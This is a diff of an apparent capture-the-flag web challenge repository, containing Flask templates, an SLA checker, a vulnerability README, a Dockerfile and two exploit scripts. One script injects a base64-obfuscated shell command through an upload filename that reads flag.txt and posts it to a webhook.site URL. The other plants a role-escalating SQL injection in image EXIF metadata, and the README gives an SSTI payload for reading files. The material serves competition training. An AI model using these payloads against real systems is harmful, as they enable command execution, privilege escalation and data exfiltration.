<meta name="viewport" content="width=device-width,initial-scale=1">
|
||||||
|
<title>Blogpost</title>
|
||||||
|
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600;800&display=swap" rel="stylesheet">
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<header>
|
||||||
|
<h1>Blogpost</h1>
|
||||||
|
<nav>
|
||||||
|
<a href="{{ url_for('index') }}">Home</a>
|
||||||
|
{% if session.get('user_id') %}
|
||||||
|
<a href="{{ url_for('create_post') }}">Create</a>
|
||||||
|
<a href="{{ url_for('profile') }}">Profile</a>
|
||||||
|
<a href="{{ url_for('logout') }}">Logout ({{ session.get('username') }})</a>
|
||||||
|
{% else %}
|
||||||
|
<a href="{{ url_for('login') }}">Login</a>
|
||||||
|
<a href="{{ url_for('register') }}">Register</a>
|
||||||
|
{% endif %}
|
||||||
|
</nav>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<main>
|
||||||
|
{% with messages = get_flashed_messages() %}
|
||||||
|
{% if messages %}
|
||||||
|
<ul>
|
||||||
|
{% for m in messages %}
|
||||||
|
<li>{{ m }}</li>
|
||||||
|
{% endfor %}
|
||||||
|
</ul>
|
||||||
|
{% endif %}
|
||||||
|
{% endwith %}
|
||||||
|
{% block content %}{% endblock %}
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<footer>
|
||||||
|
<small>keii</small>
|
||||||
|
</footer>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
{% extends "layout.html" %}
|
||||||
|
{% block content %}
|
||||||
|
|
||||||
|
<!-- safe to include even if layout already loads it -->
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
|
||||||
|
|
||||||
|
<div style="max-width:520px; margin:28px auto;">
|
||||||
|
{% with messages = get_flashed_messages() %}
|
||||||
|
{% if messages %}
|
||||||
|
<ul>
|
||||||
|
{% for m in messages %}
|
||||||
|
<li>{{ m }}</li>
|
||||||
|
{% endfor %}
|
||||||
|
</ul>
|
||||||
|
{% endif %}
|
||||||
|
{% endwith %}
|
||||||
|
|
||||||
|
<div class="card" style="padding:22px;">
|
||||||
|
<h2 style="margin-top:0">Login</h2>
|
||||||
|
|
||||||
|
<form method="post" action="{{ url_for('login') }}" style="display:flex; flex-direction:column; gap:12px;">
|
||||||
|
<label>
|
||||||
|
<div class="label-muted">Username</div>
|
||||||
|
<input name="username" id="username" type="text" placeholder="your username" required>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label>
|
||||||
|
<div class="label-muted" style="display:flex; justify-content:space-between; align-items:center;">
|
||||||
|
<span>Password</span>
|
||||||
|
<a href="{{ url_for('register') }}" style="font-size:13px; color:var(--muted); text-decoration:none;">Create account</a>
|
||||||
|
</div>
|
||||||
|
<div style="position:relative;">
|
||||||
|
<input name="password" id="password" type="password" placeholder="your password" required style="padding-right:92px;">
|
||||||
|
<button type="button" id="pw-toggle" style="position:absolute; right:6px; top:6px; height:36px; border-radius:8px; border:1px solid rgba(255,255,255,0.04); background:transparent; color:var(--muted); padding:6px 10px; cursor:pointer;">
|
||||||
|
Show
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<div style="display:flex; gap:10px; align-items:center; justify-content:space-between;">
|
||||||
|
<label style="display:flex; gap:8px; align-items:center; font-size:14px; color:var(--muted);">
|
||||||
|
<input type="checkbox" name="remember" style="width:16px; height:16px;">
|
||||||
|
Remember
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<button class="btn" type="submit" style="min-width:120px;">Login</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// autofocus username
|
||||||
|
document.getElementById('username')?.focus();
|
||||||
|
|
||||||
|
// password toggle
|
||||||
|
(function(){
|
||||||
|
const pw = document.getElementById('password');
|
||||||
|
const btn = document.getElementById('pw-toggle');
|
||||||
|
if (!pw || !btn) return;
|
||||||
|
btn.addEventListener('click', () => {
|
||||||
|
if (pw.type === 'password') {
|
||||||
|
pw.type = 'text';
|
||||||
|
btn.innerText = 'Hide';
|
||||||
|
} else {
|
||||||
|
pw.type = 'password';
|
||||||
|
btn.innerText = 'Show';
|
||||||
|
}
|
||||||
|
pw.focus();
|
||||||
|
});
|
||||||
|
})();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
{% extends "layout.html" %}
|
||||||
|
{% block content %}
|
||||||
|
<h2>Profile: {{ user['username'] }}</h2>
|
||||||
|
<p>Role: {{ user['role'] }}</p>
|
||||||
|
|
||||||
|
{% if flag %}
|
||||||
|
<h3>FLAG (admin only):</h3>
|
||||||
|
<pre>{{ flag }}</pre>
|
||||||
|
{% else %}
|
||||||
|
<p>No special access.</p>
|
||||||
|
{% endif %}
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
{% extends "layout.html" %}
|
||||||
|
{% block content %}
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
|
||||||
|
|
||||||
|
<div style="max-width:520px; margin:28px auto;">
|
||||||
|
{% with messages = get_flashed_messages() %}
|
||||||
|
{% if messages %}
|
||||||
|
<ul>
|
||||||
|
{% for m in messages %}
|
||||||
|
<li>{{ m }}</li>
|
||||||
|
{% endfor %}
|
||||||
|
</ul>
|
||||||
|
{% endif %}
|
||||||
|
{% endwith %}
|
||||||
|
|
||||||
|
<div class="card" style="padding:22px;">
|
||||||
|
<h2 style="margin-top:0">Register</h2>
|
||||||
|
|
||||||
|
<form method="post" action="{{ url_for('register') }}" style="display:flex; flex-direction:column; gap:12px;">
|
||||||
|
<label>
|
||||||
|
<div class="label-muted">Username</div>
|
||||||
|
<input name="username" id="reg-username" type="text" placeholder="choose a username" required>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label>
|
||||||
|
<div class="label-muted">Password</div>
|
||||||
|
<div style="position:relative;">
|
||||||
|
<input name="password" id="reg-password" type="password" placeholder="create a password" required style="padding-right:92px;">
|
||||||
|
<button type="button" id="reg-pw-toggle" style="position:absolute; right:6px; top:6px; height:36px; border-radius:8px; border:1px solid rgba(255,255,255,0.04); background:transparent; color:var(--muted); padding:6px 10px; cursor:pointer;">
|
||||||
|
Show
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<div style="display:flex; gap:10px; align-items:center; justify-content:flex-end;">
|
||||||
|
<a href="{{ url_for('login') }}" class="label-muted" style="text-decoration:none; color:var(--muted);">Already have an account?</a>
|
||||||
|
<button class="btn" type="submit" style="min-width:120px;">Register</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// autofocus username
|
||||||
|
document.getElementById('reg-username')?.focus();
|
||||||
|
|
||||||
|
// password toggle
|
||||||
|
(function(){
|
||||||
|
const pw = document.getElementById('reg-password');
|
||||||
|
const btn = document.getElementById('reg-pw-toggle');
|
||||||
|
if (!pw || !btn) return;
|
||||||
|
btn.addEventListener('click', () => {
|
||||||
|
if (pw.type === 'password') {
|
||||||
|
pw.type = 'text';
|
||||||
|
btn.innerText = 'Hide';
|
||||||
|
} else {
|
||||||
|
pw.type = 'password';
|
||||||
|
btn.innerText = 'Show';
|
||||||
|
}
|
||||||
|
pw.focus();
|
||||||
|
});
|
||||||
|
})();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
{% extends "layout.html" %}
|
||||||
|
{% block content %}
|
||||||
|
<article>
|
||||||
|
<h2>{{ post['title'] or 'Untitled' }}</h2>
|
||||||
|
<p>By {{ post['author'] or 'unknown' }}</p>
|
||||||
|
|
||||||
|
{% if post['image_filename'] %}
|
||||||
|
<img src="{{ url_for('uploaded_file', filename=post['image_filename']) }}" style="max-width:400px">
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
<p>{{ post['content'] }}</p>
|
||||||
|
</article>
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import requests
|
||||||
|
from pathlib import Path
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
|
||||||
|
HOST = "http://localhost:4413"
|
||||||
|
REGISTER_URL = HOST + "/register"
|
||||||
|
LOGIN_URL = HOST + "/login"
|
||||||
|
CREATE_URL = HOST + "/create"
|
||||||
|
HOME_URL = HOST + "/"
|
||||||
|
PROFILE_URL = HOST + "/profile"
|
||||||
|
|
||||||
|
LOCAL_IMAGE = "test.png" # a valid image file on your machine
|
||||||
|
# Generate random username and password
|
||||||
|
def generate_random_string(length=8):
|
||||||
|
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
||||||
|
|
||||||
|
USERNAME = generate_random_string()
|
||||||
|
PASSWORD = generate_random_string()
|
||||||
|
# choose payload variant: either use subshell $() or backticks `...`
|
||||||
|
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg"
|
||||||
|
|
||||||
|
# choose which to use:
|
||||||
|
filename_payload = filename_payload # or payload_backticks
|
||||||
|
|
||||||
|
s = requests.Session()
|
||||||
|
|
||||||
|
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||||
|
if r.status_code != 200:
|
||||||
|
print("Registration failed. Status:", r.status_code)
|
||||||
|
# print("Response:", r.text[:400])
|
||||||
|
exit(1)
|
||||||
|
else:
|
||||||
|
print(f"Registered user: {USERNAME}")
|
||||||
|
|
||||||
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||||
|
if r.status_code != 200:
|
||||||
|
print("Login request status:", r.status_code)
|
||||||
|
print("Response:", r.text[:400])
|
||||||
|
else:
|
||||||
|
print("Login attempted. Cookies:", s.cookies.get_dict())
|
||||||
|
|
||||||
|
# 2) upload file with crafted filename in multipart
|
||||||
|
img_path = Path(LOCAL_IMAGE)
|
||||||
|
if not img_path.exists():
|
||||||
|
raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
|
||||||
|
|
||||||
|
with open(img_path, "rb") as fh:
|
||||||
|
# requests allows sending a custom filename (first item in tuple)
|
||||||
|
files = {
|
||||||
|
"image": (filename_payload, fh, "image/jpeg")
|
||||||
|
}
|
||||||
|
data = {"title": "tes payload python3 base64 cat to curl", "content": "ctf"}
|
||||||
|
r = s.post(CREATE_URL, data=data, files=files)
|
||||||
|
print("Upload response:", r.status_code)
|
||||||
|
# optionally print a bit of response to see if anything obvious happened
|
||||||
|
print(r.text[:800])
|
||||||
|
|
||||||
|
# 3) fetch profile to see if you are admin and flag is shown
|
||||||
|
r = s.get(PROFILE_URL)
|
||||||
|
print("Profile status:", r.status_code)
|
||||||
|
print(r.text[:1200])
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
import requests
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
print("SQLi (VULN 2) Exploit")
|
||||||
|
|
||||||
|
HOST = "http://localhost:4413"
|
||||||
|
REGISTER_URL = HOST + "/register"
|
||||||
|
LOGIN_URL = HOST + "/login"
|
||||||
|
CREATE_URL = HOST + "/create"
|
||||||
|
HOME_URL = HOST + "/"
|
||||||
|
PROFILE_URL = HOST + "/profile"
|
||||||
|
|
||||||
|
# Generate random username and password
|
||||||
|
def generate_random_string(length=8):
|
||||||
|
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
||||||
|
|
||||||
|
USERNAME = generate_random_string()
|
||||||
|
PASSWORD = generate_random_string()
|
||||||
|
LOCAL_IMAGE = "sqli.png" # Image to be modified with SQLi payload
|
||||||
|
|
||||||
|
# 1) Modify the image with exiftool to embed SQLi payload
|
||||||
|
sqli_payload = f"a'; UPDATE users SET role='admin' WHERE username='{USERNAME}';--"
|
||||||
|
try:
|
||||||
|
subprocess.run([
|
||||||
|
"exiftool",
|
||||||
|
"-overwrite_original",
|
||||||
|
f"-Comment={sqli_payload}",
|
||||||
|
LOCAL_IMAGE
|
||||||
|
], check=True)
|
||||||
|
print(f"Modified {LOCAL_IMAGE} with SQLi payload in Comment metadata")
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
print(f"Failed to modify image with exiftool: {e}")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
s = requests.Session()
|
||||||
|
|
||||||
|
# 2) Register a new user
|
||||||
|
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||||
|
if r.status_code != 200:
|
||||||
|
print("Registration failed. Status:", r.status_code)
|
||||||
|
# print("Response:", r.text[:400])
|
||||||
|
exit(1)
|
||||||
|
else:
|
||||||
|
print(f"Registered user: {USERNAME}")
|
||||||
|
|
||||||
|
# 3) Login with the new user
|
||||||
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||||
|
if r.status_code != 200:
|
||||||
|
print("Login failed. Status:", r.status_code)
|
||||||
|
# print("Response:", r.text[:400])
|
||||||
|
exit(1)
|
||||||
|
else:
|
||||||
|
print("Logged in successfully. Cookies:", s.cookies.get_dict())
|
||||||
|
|
||||||
|
# 4) Upload the modified sqli.png image when creating a post
|
||||||
|
img_path = Path(LOCAL_IMAGE)
|
||||||
|
if not img_path.exists():
|
||||||
|
raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
|
||||||
|
|
||||||
|
with open(img_path, "rb") as fh:
|
||||||
|
files = {
|
||||||
|
"image": (LOCAL_IMAGE, fh, "image/png")
|
||||||
|
}
|
||||||
|
data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
|
||||||
|
r = s.post(CREATE_URL, data=data, files=files)
|
||||||
|
print("Upload response status:", r.status_code)
|
||||||
|
# print("Upload response:", r.text[:800])
|
||||||
|
|
||||||
|
# 5) Get the home page to find the newest post ID
|
||||||
|
r = s.get(HOME_URL)
|
||||||
|
print("Home page status:", r.status_code)
|
||||||
|
|
||||||
|
# Extract post IDs using regex
|
||||||
|
post_ids = re.findall(r'/post/(\d+)', r.text)
|
||||||
|
if post_ids:
|
||||||
|
max_id = max(map(int, post_ids))
|
||||||
|
print(f"Newest post ID: {max_id}")
|
||||||
|
else:
|
||||||
|
print("No post IDs found on home page.")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
# 6) Visit the profile page and search for the flag
|
||||||
|
r = s.get(PROFILE_URL)
|
||||||
|
print("Profile page status:", r.status_code)
|
||||||
|
flag_pattern = r"GEMASTIK\{.*?\}"
|
||||||
|
flag = re.search(flag_pattern, r.text)
|
||||||
|
if flag:
|
||||||
|
print("Flag found:", flag.group(0))
|
||||||
|
else:
|
||||||
|
print("Flag not found in response.")
|
||||||
|
# print("Response snippet:", r.text[:1200])
|
||||||
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
@@ -0,0 +1,250 @@
|
|||||||
|
import io
|
||||||
|
import re
|
||||||
|
import time
|
||||||
|
import json
|
||||||
|
import base64
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
import requests
|
||||||
|
from PIL import Image # pillow for tiny PNG generation
|
||||||
|
|
||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
|
||||||
|
class WebAppSLA(Challenge):
|
||||||
|
"""
|
||||||
|
SLA checker for the provided Flask challenge app.
|
||||||
|
|
||||||
|
Assumptions / Defaults (override as needed):
|
||||||
|
- Service listens on self.port (inherited)
|
||||||
|
- Container name is 'chal_app' (override via self.container_name)
|
||||||
|
- Flag lives in '/app/flag.txt' inside container
|
||||||
|
- Login flow at /login, register at /register
|
||||||
|
- Create post at /create, view post at /post/<id>, uploads at /uploads/<file>
|
||||||
|
"""
|
||||||
|
flag_location = 'flags/webapp.txt' # Host copy (used by your orchestrator)
|
||||||
|
history_location = 'history/webapp.txt'
|
||||||
|
container_flag_path = '/app/flag.txt'
|
||||||
|
container_name = 'chal_app' # <-- set to your actual container name
|
||||||
|
|
||||||
|
# Heuristics to recognize ExifTool output
|
||||||
|
_exif_markers = (
|
||||||
|
'ExifTool Version Number',
|
||||||
|
'File Name',
|
||||||
|
'File Size',
|
||||||
|
'MIME Type',
|
||||||
|
'File Type',
|
||||||
|
)
|
||||||
|
|
||||||
|
def _make_logger(self):
|
||||||
|
if not hasattr(self, 'logger') or self.logger is None:
|
||||||
|
self.logger = logging.getLogger(self.__class__.__name__)
|
||||||
|
if not self.logger.handlers:
|
||||||
|
h = logging.StreamHandler()
|
||||||
|
h.setFormatter(logging.Formatter('[%(levelname)s] %(message)s'))
|
||||||
|
self.logger.addHandler(h)
|
||||||
|
self.logger.setLevel(logging.INFO)
|
||||||
|
|
||||||
|
# --- Flag distribution hook (optional, mirrors your example) ---
|
||||||
|
def distribute(self, flag: str) -> bool:
|
||||||
|
"""
|
||||||
|
Writes/records the current flag on the host. Your infra may separately
|
||||||
|
mount/copy it into the container; this class *also* verifies existence
|
||||||
|
inside the container during .check().
|
||||||
|
"""
|
||||||
|
self._make_logger()
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
self.logger.info(f"Flag '{flag}' written to {self.flag_location}")
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Failed writing host flag: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# --- Helpers ---
|
||||||
|
def _gen_username(self) -> str:
|
||||||
|
return "user_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
|
||||||
|
|
||||||
|
def _gen_password(self) -> str:
|
||||||
|
return "Pw!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10))
|
||||||
|
|
||||||
|
def _tiny_png_bytes(self) -> bytes:
|
||||||
|
"""
|
||||||
|
Generate a minimal valid PNG in-memory to trigger exiftool.
|
||||||
|
"""
|
||||||
|
img = Image.new("RGB", (2, 2), (123, 200, 50))
|
||||||
|
buf = io.BytesIO()
|
||||||
|
img.save(buf, format="PNG")
|
||||||
|
return buf.getvalue()
|
||||||
|
|
||||||
|
def _docker_exec(self, args: list[str], timeout: int = 10) -> subprocess.CompletedProcess:
|
||||||
|
"""
|
||||||
|
Run `docker exec` into the challenge container.
|
||||||
|
"""
|
||||||
|
return subprocess.run(
|
||||||
|
["docker", "exec", self.container_name] + args,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=timeout
|
||||||
|
)
|
||||||
|
|
||||||
|
# --- SLA core ---
|
||||||
|
def check(self) -> bool:
|
||||||
|
self._make_logger()
|
||||||
|
base_url = f"http://localhost:{self.port}"
|
||||||
|
s = requests.Session()
|
||||||
|
|
||||||
|
# 0) Liveness: login page should be reachable (no auth needed)
|
||||||
|
login_url = base_url + "/login"
|
||||||
|
self.logger.info(f"[1/7] Checking liveness at {login_url} ...")
|
||||||
|
try:
|
||||||
|
r = s.get(login_url, timeout=10)
|
||||||
|
assert r.status_code == 200, f"Login page HTTP {r.status_code}"
|
||||||
|
self.logger.info(" ✓ Login page reachable")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Liveness check failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 1) Register a fresh user
|
||||||
|
self.logger.info("[2/7] Registering a fresh user ...")
|
||||||
|
username = self._gen_username()
|
||||||
|
password = self._gen_password()
|
||||||
|
try:
|
||||||
|
r = s.post(
|
||||||
|
base_url + "/register",
|
||||||
|
data={"username": username, "password": password},
|
||||||
|
allow_redirects=False,
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
# Flask typically redirects to /login on success (302)
|
||||||
|
assert r.status_code in (200, 302, 303), f"Register HTTP {r.status_code}"
|
||||||
|
self.logger.info(f" ✓ Registered as {username}")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Registration failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 2) Log in
|
||||||
|
self.logger.info("[3/7] Logging in ...")
|
||||||
|
try:
|
||||||
|
r = s.post(
|
||||||
|
base_url + "/login",
|
||||||
|
data={"username": username, "password": password},
|
||||||
|
allow_redirects=True,
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
# Successful login should redirect or render index; ensure not bounced back to /login with "Invalid credentials"
|
||||||
|
assert r.status_code == 200, f"Login HTTP {r.status_code}"
|
||||||
|
assert "/login" not in r.url or "Invalid credentials" not in r.text
|
||||||
|
self.logger.info(" ✓ Logged in")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Login failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 3) Create post with image upload (PNG) to trigger exiftool + DB write
|
||||||
|
self.logger.info("[4/7] Creating a post with image upload ...")
|
||||||
|
title = "SLA Post " + ''.join(random.choices(string.ascii_letters, k=6))
|
||||||
|
content = "hello_from_sla_checker"
|
||||||
|
png_bytes = self._tiny_png_bytes()
|
||||||
|
files = {
|
||||||
|
"image": ("probe.png", png_bytes, "image/png")
|
||||||
|
}
|
||||||
|
data = {"title": title, "content": content}
|
||||||
|
try:
|
||||||
|
r = s.post(base_url + "/create", files=files, data=data, allow_redirects=True, timeout=20)
|
||||||
|
assert r.status_code == 200, f"Create returned HTTP {r.status_code}"
|
||||||
|
self.logger.info(" ✓ Post created")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Create post failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 4) Discover the newly created post id by scraping links like /post/<id> from index
|
||||||
|
self.logger.info("[5/7] Resolving new post id from index ...")
|
||||||
|
try:
|
||||||
|
r = s.get(base_url + "/", timeout=10)
|
||||||
|
assert r.status_code == 200, f"Index HTTP {r.status_code}"
|
||||||
|
# Find the most recent /post/<id> that likely corresponds to our post title
|
||||||
|
# First try to find blocks containing our title then pull an id:
|
||||||
|
post_id: Optional[int] = None
|
||||||
|
# Prefer links sitting near our title
|
||||||
|
title_blocks = [m.start() for m in re.finditer(re.escape(title), r.text)]
|
||||||
|
if title_blocks:
|
||||||
|
# Search backward/forward around the title occurrences for a /post/<num> link
|
||||||
|
for pos in title_blocks:
|
||||||
|
window = r.text[max(0, pos-1000):pos+1000]
|
||||||
|
m = re.search(r'/post/(\d+)', window)
|
||||||
|
if m:
|
||||||
|
post_id = int(m.group(1))
|
||||||
|
break
|
||||||
|
# Fallback: pick the first /post/<id> in the page
|
||||||
|
if post_id is None:
|
||||||
|
m = re.search(r'/post/(\d+)', r.text)
|
||||||
|
assert m, "No /post/<id> link found on index"
|
||||||
|
post_id = int(m.group(1))
|
||||||
|
|
||||||
|
self.logger.info(f" ✓ Resolved post id = {post_id}")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Could not resolve post id: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 5) Visit the post page, confirm it renders and contains our title/content.
|
||||||
|
self.logger.info("[6/7] Visiting the post page ...")
|
||||||
|
try:
|
||||||
|
vp = s.get(base_url + f"/post/{post_id}", timeout=10)
|
||||||
|
assert vp.status_code == 200, f"Post page HTTP {vp.status_code}"
|
||||||
|
assert title in vp.text, "Post title not present on view page"
|
||||||
|
assert content in vp.text, "Post content not present on view page"
|
||||||
|
self.logger.info(" ✓ Post page renders with our content")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ View post failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 6) Locate the uploaded file link on the post page, then fetch the .meta file via /uploads/<file>.meta
|
||||||
|
self.logger.info("[7/7] Verifying ExifTool metadata persisted & accessible ...")
|
||||||
|
try:
|
||||||
|
# Find something like /uploads/<sha256>.png (or .jpg/.jpeg/.bmp)
|
||||||
|
m = re.search(r'/uploads/([A-Za-z0-9_.-]+\.(?:png|jpg|jpeg|bmp))', vp.text, flags=re.IGNORECASE)
|
||||||
|
assert m, "No uploaded image link found on post page"
|
||||||
|
image_name = m.group(1)
|
||||||
|
# The server stores metadata in a sibling file with .meta suffix; it is served by the same /uploads route.
|
||||||
|
meta_url = base_url + f"/uploads/{image_name}.meta"
|
||||||
|
mr = s.get(meta_url, timeout=10)
|
||||||
|
assert mr.status_code == 200, f"Meta file HTTP {mr.status_code}"
|
||||||
|
meta_text = mr.text.strip()
|
||||||
|
# Heuristic: expect at least one ExifTool-like marker
|
||||||
|
assert any(tag in meta_text for tag in self._exif_markers), "Meta file does not look like ExifTool output"
|
||||||
|
self.logger.info(" ✓ Exif metadata present and readable")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Metadata verification failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 7) Flag existence in container (do not fail SLA if only host copy exists but container is missing—treat as warning or policy-driven)
|
||||||
|
try:
|
||||||
|
proc = self._docker_exec(["/bin/sh", "-lc", f"test -f {self.container_flag_path} && cat {self.container_flag_path} || echo __MISSING__"])
|
||||||
|
out = (proc.stdout or "").strip()
|
||||||
|
if "__MISSING__" in out or proc.returncode not in (0,):
|
||||||
|
self.logger.warning("⚠ Flag file missing inside container")
|
||||||
|
else:
|
||||||
|
self.logger.info(" ✓ Container flag present")
|
||||||
|
# Optional: compare with host flag if present
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, "r") as f:
|
||||||
|
host_flag = f.read().strip()
|
||||||
|
if host_flag and host_flag == out:
|
||||||
|
self.logger.info(" ✓ Host and container flags match")
|
||||||
|
else:
|
||||||
|
self.logger.warning("⚠ Host/container flag mismatch (may be expected if rotated separately)")
|
||||||
|
except FileNotFoundError:
|
||||||
|
self.logger.warning("⚠ Host flag not found; skipping comparison")
|
||||||
|
except Exception as e:
|
||||||
|
# Non-fatal: you can tune this to fail the round if flag is mandatory.
|
||||||
|
self.logger.warning(f"Flag existence check encountered an issue: {e}")
|
||||||
|
|
||||||
|
self.logger.info("SLA check passed ✅")
|
||||||
|
return True
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
## CDN
|
||||||
|
|
||||||
|
db used: sqlite
|
||||||
|
flag.txt: GEMASTIK{random sha256 generated on app start}
|
||||||
|
|
||||||
|
### feature:
|
||||||
|
[authentication required with login and register, register default as "user" role]
|
||||||
|
1. upload image
|
||||||
|
|
||||||
|
### Vulns
|
||||||
|
#### vuln1: SSTI on image Date Created metadata, exiftool cant insert this, need to write the image's blob
|
||||||
|
example:
|
||||||
|
```bash
|
||||||
|
(base) jons@01-20-jonathanmarbun:/mnt/c/1Jonathan/CTFS/gawe/gms25/web2/exploit$ exiftool -overwrite_original -IPTC:DateCreated="{{7*7}}" image.png
|
||||||
|
Warning: Invalid date format (use YYYY:mm:dd) in IPTC:DateCreated (ValueConvInv)
|
||||||
|
Nothing to do.
|
||||||
|
```
|
||||||
|
payload to inject:
|
||||||
|
```{{lipsum.__builtins__['open']('flag.txt').read()}}```
|
||||||
|
|
||||||
|
when editing the Date Created metadata manually, somehow it has limit of 46 char (but we can expand that to make it more by deleting the content of another metadata) -> check ssti.png
|
||||||
|
it probably have different behavior on another image file or format
|
||||||
|
payload: check exploit/exp3.py
|
||||||
|
|
||||||
|
#### vuln2:
|
||||||
|
|
||||||
|
### Patching Rule?
|
||||||
|
- dont remove flag.txt/changes its content
|
||||||
|
- ensure image metadata generation still available
|
||||||
|
- ensure exiftool still used
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
FROM python:3.12-slim
|
||||||
|
|
||||||
|
ENV PYTHONDONTWRITEBYTECODE=1 \
|
||||||
|
PYTHONUNBUFFERED=1 \
|
||||||
|
PIP_NO_CACHE_DIR=1
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
RUN apt-get update \
|
||||||
|
&& apt-get install -y --no-install-recommends libimage-exiftool-perl \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
COPY requirements.txt .
|
||||||
|
RUN pip install -r requirements.txt
|
||||||
|
|
||||||
|
COPY . /app
|
||||||
|
RUN chmod +x /app/entrypoint.sh \
|
||||||
|
&& mkdir -p /app/uploads && chmod 755 /app/uploads
|
||||||
|
|
||||||
|
EXPOSE 8000
|
||||||
|
ENTRYPOINT ["/bin/bash", "entrypoint.sh"]
|
||||||
@@ -0,0 +1,265 @@
|
|||||||
|
import os
|
||||||
|
import re
|
||||||
|
import sqlite3
|
||||||
|
import hashlib
|
||||||
|
import secrets
|
||||||
|
import datetime
|
||||||
|
import subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
from flask import *
|
||||||
|
from werkzeug.security import generate_password_hash, check_password_hash
|
||||||
|
from werkzeug.utils import secure_filename
|
||||||
|
|
||||||
|
APP_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
DB_PATH = os.path.join(APP_DIR, "data.db")
|
||||||
|
